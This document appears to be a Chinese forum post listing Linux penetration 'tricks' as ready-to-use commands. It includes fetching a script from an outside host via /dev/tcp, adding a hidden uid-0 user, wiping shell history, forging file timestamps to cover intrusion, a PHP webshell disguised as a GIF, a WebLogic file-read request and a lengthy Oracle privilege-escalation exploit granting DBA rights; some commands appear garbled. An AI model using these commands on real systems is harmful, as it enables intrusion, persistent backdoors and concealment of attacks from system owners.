linux常用渗透小技巧
linux常用渗透小技巧1.无wget nc等下载工具时下载文件exec 5<>/dev/tcp/yese.yi.org/80 &&echo -e "GET /c.pl HTTP/1.0\n" >&5 && cat<&5 > c.pl
复制代码2.Linux添加uid为0的用户useradd -o -u 0 cnbird
复制代码3.bash去掉history记录export HISTSIZE=0
export HISTFILE=/dev/null
复制代码4.SSH反向链接ssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip -p 指定远端服务器SSH端口
复制代码然后服务器上执行ssh localhost-p 44即可
5.weblogic本地读取文件漏洞curl -H "wl_request_type: wl_xml_entity_request" -H "xml-registryname: ../../" -H "xml-entity-path: config.xml" http://server/wl_management_internal2/wl_management
复制代码6.apache查看虚拟web目录./httpd -t -D DUMP_VHOSTS
复制代码7.cvs渗透技巧CVSROOT/passwd UNIX SHA1的密码文件
CVSROOT/readers
CVSROOT/writers
CVS/Root
CVS/Entries 更新的文件和目录内容
CVS/Repository
复制代码8.Cpanel路径泄露/3rdparty/squirrelmail/functions/plugin.php
复制代码9.修改上传文件时间戳(掩盖入侵痕迹)touch -r 老文件时间戳 新文件时间戳
复制代码10.利用baidu和google搜索目标主机webshell
intitleHPJackal 1t1t
复制代码11.包总补充
创建临时“隐藏”目录 mkdir /tmp/...
/tmp/...目录在管理员有宿醉的情况下是“隐藏”的，可以临时放点exp啥的
12.利用linux输出绕过gif限制的图片printf "GIF89a\x01\x00\x01\x00<?php phpinfo();?>" > poc.php
复制代码
13.读取环境变量对于查找信息非常有帮助/proc/self/environ
复制代码14.最新的ORACLE 11提升用户权限(只要session权限)DBMS_JVM_EXP_PERMS 中的IMPORT_JVM_PERMS
复制代码判断登陆权限select * from session_privs;
CREATE SESSION
select * from session_roles;
select TYPE_NAME, NAME, ACTION FROM SYS.DBA_JAVA_POLICY WHERE GRANTEE = 'GREMLIN(用户名)';
DESC JAVA$POLICY$
DECLARE
POL DBMS_JVM_EXP.TEMP_JAVA_POLICY;
CURSOR C1 IS SELECT 'GRANT' USER(), 'SYS', 'java.io.FilePermission', '<<ALL FILES>>', 'execute', 'ENABLE' FROM DUAL;
BEGIN
OPEN C1;
FETCH C1 BULK COLLECT INTO POL;
CLOSE C1;
DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
END;
/
connect / as sysdba
COL TYPE_NAME FOR A30;
COL NAME FOR A30;
COL_ACTION FOR A10;
SELECT TYPE_NAME, NAME, ACTION FROM SYS.DBA_JAVA_POLICY WHERE GRANTEE = '用户';connect 普通用户set serveroutput on
exec dbms_java.set_output(10000);
SELECT DBMS_JAVA.SET_OUTPUT_TO_JAVA('ID', 'oracle/aurora/rdbms/DbmsJava', 'SYS', 'writeOutputToFile', 'TEXT', NULL, NULL, NULL, NULL,0,1,1,1,1,0, 'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;'BEGIN EXECUTE IMMEDIATE ''GRANT DBA TO 用户''; END;', 'BEGIN NULL; END;') FROM DUAL;
EXEC DBMS_CDC_ISUBSCRIBE.INT_PURGE_WINDOWS('NO_SUCH_SUBSCRIPTION', SYSDATE());
set role dba;
select * from session_privs;
EXEC SYS.VULNPROC('FOO"||DBMS_JAVA.SET_OUTPUT_TO_SQL("ID","DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE""GRANT DBA TO PUBLIC"";DBMS_OUTPUT.PUT_LINE(:1);END;","TEXT")||"BAR');
SELECT DBMS_JAVA.RUNJAVA('oracle/aurora/util/Test') FROM DUAL;
SET ROLE DBA;
复制代码15. webLogic渗透技巧
四. Weblogin Script Tool(WLST)
写入到<Domain_home>\\config\\config.xml
1.进行修改:<bea_home>\wlserver_10.0\server\bin\setWLSenv.sh
复制代码2.启动WLSTjava weblogic.WLST
wls:/offline> connect('admin', 'admin', 't3://127.0.0.1:7001')
wls:/bbk/serverConfig> help()
wls:/bbk/serverConfig> edit()
wls:/bbk/serverConfig> cd('Servers')
wls:/bbk/serverConfig/Server-cnbird> cd('Log')
wls:/bbk/serverConfig/Server-cnbird/log> cd('Server-cnbird')
wls:/bbk/serverConfig/Server-cnbird/log/Server-cnbird> startEdit()
wls:/bbk/serverConfig/Server-cnbird/log/Server-cnbird !> set('FileCount', '4')
wls:/bbk/serverConfig/Server-cnbird/log/Server-cnbird !> save()
wls:/bbk/serverConfig/Server-cnbird/log/Server-cnbird !> activate() 提交对应Active Change
wls:/bbk/serverConfig/Server-cnbird/log/Server-cnbird !> disconnect()
wls:/offline> exit()
复制代码3.批处理:
保存以上命令为cnbird.pyconnect('admin', 'admin', 't3://127.0.0.1:7001')
cd('Servers')
cd('Log')
cd('Server-cnbird')
startEdit()
set('FileCount', '4')
save()
复制代码然后执行java weblogic.WLST cnbird.py
